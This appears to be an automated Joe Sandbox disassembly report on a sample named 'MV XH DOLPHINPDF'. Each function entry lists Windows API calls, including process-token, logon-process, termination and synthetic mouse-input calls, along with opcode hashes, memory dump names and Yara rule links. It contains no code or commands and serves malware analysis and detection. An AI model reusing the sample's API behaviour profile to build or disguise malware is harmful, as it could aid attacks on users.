Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: a1caec3dd04fccc27a0728655bf3ec6fa1ae2555c7b6c8806646e05095bfd102
Instruction ID: f80a6e1638be1e5996845758ed2b34bb52b6147507c5e8d7956f64ab5f79d14f
Opcode Fuzzy Hash: a1caec3dd04fccc27a0728655bf3ec6fa1ae2555c7b6c8806646e05095bfd102
Instruction Fuzzy Hash: B6514035A00615DFCB15EFA4C845AEEB7B6EF48310F154469E895B7392CBB0AE41CF90

Function 000DF3DD Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 000DF3F7
VariantClear.OLEAUT32(00000013), ref: 000DF469
VariantClear.OLEAUT32(00000000), ref: 000DF4C4
_memmove.LIBCMT ref: 000DF4EE
VariantClear.OLEAUT32(?), ref: 000DF53B
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 000DF569

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 179f83539a787b586d203b817c8538daf0fa2be8aec4922cc6a0e6fcc1666714
Instruction ID: 5d14c418e6e34b524cda19b94f99c7d720a2b4ffd2c63738352989fb98858a40
Opcode Fuzzy Hash: 179f83539a787b586d203b817c8538daf0fa2be8aec4922cc6a0e6fcc1666714
Instruction Fuzzy Hash: 7D516CB5A0020ADFCB10CF58D884AAAB7F8FF4C354B15816AED59DB305D730E951CBA0

Function 000E26F9 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000E2747
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 000E2792
IsMenu.USER32(00000000), ref: 000E27B2
CreatePopupMenu.USER32 ref: 000E27E6
GetMenuItemCount.USER32(000000FF), ref: 000E2844
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 000E2875

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 3bbdead6f190f5cd25736b17fabfe60ad45ca0d63692cc25a3e4bc797ecacda6
Instruction ID: 96065cbfe175c2cbf77dfaed3719b0cc2e295199ea5d3634329f5eaf0e3f4f66
Opcode Fuzzy Hash: 3bbdead6f190f5cd25736b17fabfe60ad45ca0d63692cc25a3e4bc797ecacda6
Instruction Fuzzy Hash: 7C51C370A02389DFDF24CF6ACA88BAEBBF9BF44314F104169E455BB291DB708945CB51

Function 00081765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

BeginPaint.USER32(?,?,?,?,?,?), ref: 0008179A
GetWindowRect.USER32(?,?), ref: 000817FE
ScreenToClient.USER32(?,?), ref: 0008181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0008182C
EndPaint.USER32(?,?), ref: 00081876

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 6921a51e4bcaa8e35d4fe3aaf357e41f69cb9c488529502ea53a3b0ec2afa062
Instruction ID: 1454f332fdd3cc09166b6b5ad265ace7cc2d47814ea635a48880a1fed969b4e7
Opcode Fuzzy Hash: 6921a51e4bcaa8e35d4fe3aaf357e41f69cb9c488529502ea53a3b0ec2afa062
Instruction Fuzzy Hash: 16416D705043019FD720EF24CC85BEA7BE8FF5A724F140629F594865A1CB719886DB62

Function 0010B958 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(001467B0,00000000,010E52A8,?,?,001467B0,?,0010B862,?,?), ref: 0010B9CC
EnableWindow.USER32(00000000,00000000), ref: 0010B9F0
ShowWindow.USER32(001467B0,00000000,010E52A8,?,?,001467B0,?,0010B862,?,?), ref: 0010BA50
ShowWindow.USER32(00000000,00000004,?,0010B862,?,?), ref: 0010BA62
EnableWindow.USER32(00000000,00000001), ref: 0010BA86
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0010BAA9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: bbca29887cf794d2b6a3c73ef0d089308700a299773909f601ee40689a2ffc30
Instruction ID: 7b2ccbe23a4f2bc778bd5d2f1f0d445e09e7003a6e868deca26393839a275962
Opcode Fuzzy Hash: bbca29887cf794d2b6a3c73ef0d089308700a299773909f601ee40689a2ffc30
Instruction Fuzzy Hash: FE413074604241EFDB26CF18C4C9B957BE1FB05714F1842B9FA888F6E2C7B1A846CB61

Function 000F73B1 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,000F5134,?,?,00000000,00000001), ref: 000F73BF

Part of subcall function 000F3C94: GetWindowRect.USER32(?,?), ref: 000F3CA7

GetDesktopWindow.USER32 ref: 000F73E9
GetWindowRect.USER32(00000000), ref: 000F73F0
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 000F7422

Part of subcall function 000E54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 000E555E

GetCursorPos.USER32(?), ref: 000F744E
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 000F74AC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 5268a0b7d98cc95edfdf5103a11d1f74a2f3a15150d046a4527e108203e80687
Instruction ID: 99d30c56eb457db614261aea846dbdff5e36e24c17f432bd75f36d24b2c33464
Opcode Fuzzy Hash: 5268a0b7d98cc95edfdf5103a11d1f74a2f3a15150d046a4527e108203e80687
Instruction Fuzzy Hash: A431C372509309AFD720DF14DC4AFAABBE9FB88314F000919F588A7591CB70E949CB92

Function 000D8D5B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000D85F1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 000D8608
Part of subcall function 000D85F1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 000D8612
Part of subcall function 000D85F1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 000D8621
Part of subcall function 000D85F1: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 000D8628
Part of subcall function 000D85F1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 000D863E

GetLengthSid.ADVAPI32(?,00000000,000D8977), ref: 000D8DAC
GetProcessHeap.KERNEL32(00000008,00000000), ref: 000D8DB8
HeapAlloc.KERNEL32(00000000), ref: 000D8DBF
CopySid.ADVAPI32(00000000,00000000,?), ref: 000D8DD8
GetProcessHeap.KERNEL32(00000000,00000000,000D8977), ref: 000D8DEC
HeapFree.KERNEL32(00000000), ref: 000D8DF3

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: af72e59ae0f0ef08693e7f6670e70055ed3a6d3a3ccf6f7e4f5575261892602e
Instruction ID: 397e2ebb394bf4092d8eb0212a8ad44c360727cdcb6bb7a604f3929983ba788a
Opcode Fuzzy Hash: af72e59ae0f0ef08693e7f6670e70055ed3a6d3a3ccf6f7e4f5575261892602e
Instruction Fuzzy Hash: 0611CA31500704EBDB609FA4CC0ABAE7BBAFF54315F10802AF88597690CB32A941CB60

Function 000D8AF9 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 000D8B2A
OpenProcessToken.ADVAPI32(00000000), ref: 000D8B31
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 000D8B40
CloseHandle.KERNEL32(00000004), ref: 000D8B4B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 000D8B7A
DestroyEnvironmentBlock.USERENV(00000000), ref: 000D8B8E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 604611782fc36ef3b9868c2a41faf9f271e0c0a2d8563e45339dc36978fbe9a1
Instruction ID: 20bdc2b4e23943f25ad195d906d015f7566f03aea454cabc8718cbb4d4c93228
Opcode Fuzzy Hash: 604611782fc36ef3b9868c2a41faf9f271e0c0a2d8563e45339dc36978fbe9a1
Instruction Fuzzy Hash: 06115CB2500249ABDF118FA4DD49FDE7BA9EF08714F04806AFE44A2560C7B19D61DB61

Function 0010C19A Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 000812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0008134D
Part of subcall function 000812F3: SelectObject.GDI32(?,00000000), ref: 0008135C
Part of subcall function 000812F3: BeginPath.GDI32(?), ref: 00081373
Part of subcall function 000812F3: SelectObject.GDI32(?,00000000), ref: 0008139C

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0010C1C4
LineTo.GDI32(00000000,00000003,?), ref: 0010C1D8
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0010C1E6
LineTo.GDI32(00000000,00000000,?), ref: 0010C1F6
EndPath.GDI32(00000000), ref: 0010C206
StrokePath.GDI32(00000000), ref: 0010C216

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: f95481986fc857bee35927425a44040141c60954d8e53f0061dbefeae89568f4
Instruction ID: 158feeb50da5d1e67493d01d003f283cf739db6b81311e7b810229a07b2a29bf
Opcode Fuzzy Hash: f95481986fc857bee35927425a44040141c60954d8e53f0061dbefeae89568f4
Instruction Fuzzy Hash: D011097640010DBFDB119F90DC89FEA7FADEB09354F048025BA584A9A1C7B19D96DBA0

Function 000A03A2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 000A03D3
MapVirtualKeyW.USER32(00000010,00000000), ref: 000A03DB
MapVirtualKeyW.USER32(000000A0,00000000), ref: 000A03E6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 000A03F1
MapVirtualKeyW.USER32(00000011,00000000), ref: 000A03F9
MapVirtualKeyW.USER32(00000012,00000000), ref: 000A0401

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 5a549533b4b8692a57856dda7e6dddab4f8570549bf80746835fe56f162e44ce
Instruction ID: e28f89b77725195037a1a49c8423fec5356fa69bc1a1ec21be64eabdf00515e5
Opcode Fuzzy Hash: 5a549533b4b8692a57856dda7e6dddab4f8570549bf80746835fe56f162e44ce
Instruction Fuzzy Hash: 25016CB09017597DE3008F5A8C85B52FFA8FF19354F00411FA15C47941C7F5A864CBE5

Function 000E568B Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 000E569B
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 000E56B1
GetWindowThreadProcessId.USER32(?,?), ref: 000E56C0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 000E56CF
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 000E56D9
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 000E56E0

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: a08d6e087da9b5566698822a55fac3bc67ef654c3c3dea204490b472ffa63c79
Instruction ID: b619f48793884abd1c7c755aa519339aec76509ce058e8527d718783aff9e247
Opcode Fuzzy Hash: a08d6e087da9b5566698822a55fac3bc67ef654c3c3dea204490b472ffa63c79
Instruction Fuzzy Hash: 9EF01D32241158BBE7315BA29C0EEEB7A7CEBCAB11F00016DFA44D18509AE11A4286B5

Function 000E74D2 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 000E74E5
EnterCriticalSection.KERNEL32(?,?,00091044,?,?), ref: 000E74F6
TerminateThread.KERNEL32(00000000,000001F6,?,00091044,?,?), ref: 000E7503
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00091044,?,?), ref: 000E7510

Part of subcall function 000E6ED7: CloseHandle.KERNEL32(00000000,?,000E751D,?,00091044,?,?), ref: 000E6EE1

InterlockedExchange.KERNEL32(?,000001F6), ref: 000E7523
LeaveCriticalSection.KERNEL32(?,?,00091044,?,?), ref: 000E752A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 2b29dd566653e28658572503562d9de94b3f1b964f01b475d558d40fe646af5a
Instruction ID: 34b1caaedaae6e91461d16280b74efacd05eea82b691999c4425630883f3145a
Opcode Fuzzy Hash: 2b29dd566653e28658572503562d9de94b3f1b964f01b475d558d40fe646af5a
Instruction Fuzzy Hash: 09F0303A140712EBD7212B64FC4D9DA7769BF49302B000535F142A18A5CBB59882CA50

Function 000D8E74 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 000D8E7F
UnloadUserProfile.USERENV(?,?), ref: 000D8E8B
CloseHandle.KERNEL32(?), ref: 000D8E94
CloseHandle.KERNEL32(?), ref: 000D8E9C
GetProcessHeap.KERNEL32(00000000,?), ref: 000D8EA5
HeapFree.KERNEL32(00000000), ref: 000D8EAC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: edddd71687816e5104d5aafe13a8335a4fcf453467d16618fb82d67f6bfdc105
Instruction ID: eb63d0be0957368b3f35316701336d2701865c0e01f6c0ce5ced6c1a69ba8580
Opcode Fuzzy Hash: edddd71687816e5104d5aafe13a8335a4fcf453467d16618fb82d67f6bfdc105
Instruction Fuzzy Hash: 75E0C236004201FBDA115FE1EC0E90ABB79FB89722B108238F25985C70CBB294A2DB90

Function 000F8902 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 000F8928
CharUpperBuffW.USER32(?,?), ref: 000F8A37
VariantClear.OLEAUT32(?), ref: 000F8BAF

Part of subcall function 000E7804: VariantInit.OLEAUT32(00000000), ref: 000E7844
Part of subcall function 000E7804: VariantCopy.OLEAUT32(00000000,?), ref: 000E784D
Part of subcall function 000E7804: VariantClear.OLEAUT32(00000000), ref: 000E7859

Strings

Incorrect Parameter format, xrefs: 000F8960, 000F8B22
AUTOIT.ERROR, xrefs: 000F8A3D

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: ccecd84e935ab9d0fe26eba73eb104d41ebb353fa0fc547700f20145a5d4b83a
Instruction ID: 1c0f26f8cc9734634b5a352d6acf77db8f1b43b79db3849f8dbe6f56657691e5
Opcode Fuzzy Hash: ccecd84e935ab9d0fe26eba73eb104d41ebb353fa0fc547700f20145a5d4b83a
Instruction Fuzzy Hash: DB91A3716083059FC714EF24C4859ABBBE4FF89304F04896EF98A8B752DB30D905CB52

Function 000E2F86 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0009FEC6: _wcscpy.LIBCMT ref: 0009FEE9

_memset.LIBCMT ref: 000E3077
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 000E30A6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 000E3159
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 000E3187

Strings

0, xrefs: 000E3063

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 407706a03198592178ee6476fd3fd932406cb6d0bd630a7b58088e394c3fbfd9
Instruction ID: a7871eb47eda37f2deb1975cd45b815a69007f8e109a02714656a710b5dea4cc
Opcode Fuzzy Hash: 407706a03198592178ee6476fd3fd932406cb6d0bd630a7b58088e394c3fbfd9
Instruction Fuzzy Hash: DA51E0316083819ED765AF29C849AABBFE8EF85360F04096DF895E31A1DB70CE448752

Function 000DDA5D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 000DDAC5
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 000DDAFB
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 000DDB0C
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 000DDB8E

Strings

DllGetClassObject, xrefs: 000DDB01

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 0aa5e816de75feeb95368b268d4254abad85440a574769a941098f1a407717c2
Instruction ID: 99a469c1f1a453766e7f4aa1da95ad9dfe145be650d54da21897d407c5c712de
Opcode Fuzzy Hash: 0aa5e816de75feeb95368b268d4254abad85440a574769a941098f1a407717c2
Instruction Fuzzy Hash: C2414CB1600308EFDB15CF54C885A9A7BE9EF48364F1581ABE9099F206D7B1D944DBA0

Function 000E2C42 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

